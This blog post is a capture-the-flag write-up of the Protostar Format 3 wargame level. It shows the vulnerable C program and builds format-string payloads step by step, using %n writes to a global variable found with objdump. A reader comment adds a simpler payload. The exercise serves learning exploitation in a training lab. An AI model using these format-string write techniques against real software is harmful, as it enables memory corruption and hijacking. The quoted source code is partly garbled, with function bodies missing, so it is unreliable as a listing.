Saturday, December 22, 2012

exploit-exercises Protostar: Format 3

A new write-up, and a new challenge. This time, with Exploit-exercises' Format 3 challenge of the Protostar wargame. We are tasked to exploit a vulnerable program with the following source code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)

void vuln()
        char buffer[512];
        fgets(buffer, sizeof(buffer), stdin);

        if(target == 0x01025544) {
                printf("you have modified the target :)\n");
        } else {
                printf("target is %08x :(\n", target);

int main(int argc, char **argv)
Looks pretty much like last challenge's, with two differences. First, the vulnerable printf() call is within printbuffer() function which is called in vuln(). We will be a bit further down the stack when exploiting the format string vulnerability. In other terms, the parameter position that allows us to access the start of our input will be higher.
[email protected]:/opt/protostar/bin$ python -c 'print "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"' | ./format3
target is 00000000 :(
We will start from position 12.
[email protected]:/opt/protostar/bin$ python -c 'print "AAAA%12$x"' |

target is 00000000 :(

[email protected]:/opt/protostar/bin$ objdump -t ./format3 | grep target
080496f4 g     O .bss   00000004              target

[email protected]:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%12$n"' | ./format3
target is 00000004 :(
The second is that we will have to write a multi-byte number to target. Using a huge offset would be both ugly and not possible.
[email protected]:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%10000000000x%12$n"' | ./format3
��target is 00000000 :(
Thus, we will make multiple writes, one for each byte (or two). We start by setting the addresses of the bytes that we will write to.
[email protected]:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%x%12$n%x%13$n%x%14$n"' | ./format3
target is 001d150d :(
And start overwriting the bytes.
[email protected]:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%x%13$n%x%14$n"' | ./format3

������                                                       0bffff5d0b7fd7ff4
target is 00544c44 :(
with a mental calculation and testing, we arrive to:

[email protected]:/opt/protostar/bin$ python -c 'print
"\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n"' | ./format3

������                                                       0         bffff5d0
you have modified the target :)

1 comment:

  1. Funny story, I actually tried out doing it the long way and it totally works. I used:
    python -c 'print "\xf4\x96\x04\x08%16930112x%12$n"' | ./format3. Clearly not what was intended, but it does work.